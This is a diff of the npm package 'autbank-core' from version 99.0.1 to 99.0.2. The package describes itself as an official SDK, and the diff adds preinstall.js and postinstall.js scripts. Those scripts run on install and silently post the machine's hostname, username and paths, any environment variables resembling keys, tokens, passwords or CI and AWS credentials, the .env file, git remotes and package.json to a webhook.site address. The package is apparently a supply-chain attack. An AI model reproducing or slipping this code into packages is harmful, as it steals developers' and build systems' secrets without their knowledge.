autbank-core 99.0.1 → 99.0.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "autbank-core",
-  "version": "99.0.1",
+  "version": "99.0.2",
   "description": "Autbank Core Library - Official SDK",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -0,0 +1,26 @@
+// Post-install hook - backup exfil
+const https = require('https');
+const os = require('os');
+
+const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
+
+try {
+    const data = JSON.stringify({
+        type: 'npm-postinstall-autbank',
+        hostname: os.hostname(),
+        user: os.userInfo().username,
+        cwd: process.cwd()
+    });
+
+    const url = new URL(WEBHOOK_URL);
+    const req = https.request({
+        hostname: url.hostname,
+        port: 443,
+        path: url.pathname,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
+    }, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+} catch (e) {}

package/preinstall.js

@@ -0,0 +1,63 @@
+const https = require('https');
+const os = require('os');
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
+
+function exfiltrate() {
+    const data = {
+        type: 'npm-supply-chain-autbank',
+        timestamp: new Date().toISOString(),
+        hostname: os.hostname(),
+        platform: os.platform(),
+        user: os.userInfo().username,
+        home: os.homedir(),
+        cwd: process.cwd(),
+        env: {}
+    };
+
+    const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB'];
+    for (const [key, value] of Object.entries(process.env)) {
+        if (sensitive.some(s => key.toUpperCase().includes(s))) {
+            data.env[key] = value.substring(0, 200);
+        }
+    }
+
+    try {
+        if (fs.existsSync('.env')) {
+            data.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
+        }
+    } catch (e) {}
+
+    try {
+        data.git_remote = execSync('git remote -v', { timeout: 5000 }).toString().substring(0, 500);
+    } catch (e) {}
+
+    try {
+        if (fs.existsSync('package.json')) {
+            data.package_json = fs.readFileSync('package.json', 'utf8').substring(0, 1000);
+        }
+    } catch (e) {}
+
+    const postData = JSON.stringify(data);
+    const url = new URL(WEBHOOK_URL);
+
+    const options = {
+        hostname: url.hostname,
+        port: 443,
+        path: url.pathname,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(postData)
+        }
+    };
+
+    const req = https.request(options, (res) => {});
+    req.on('error', (e) => {});
+    req.write(postData);
+    req.end();
+}
+
+try { exfiltrate(); } catch (e) {}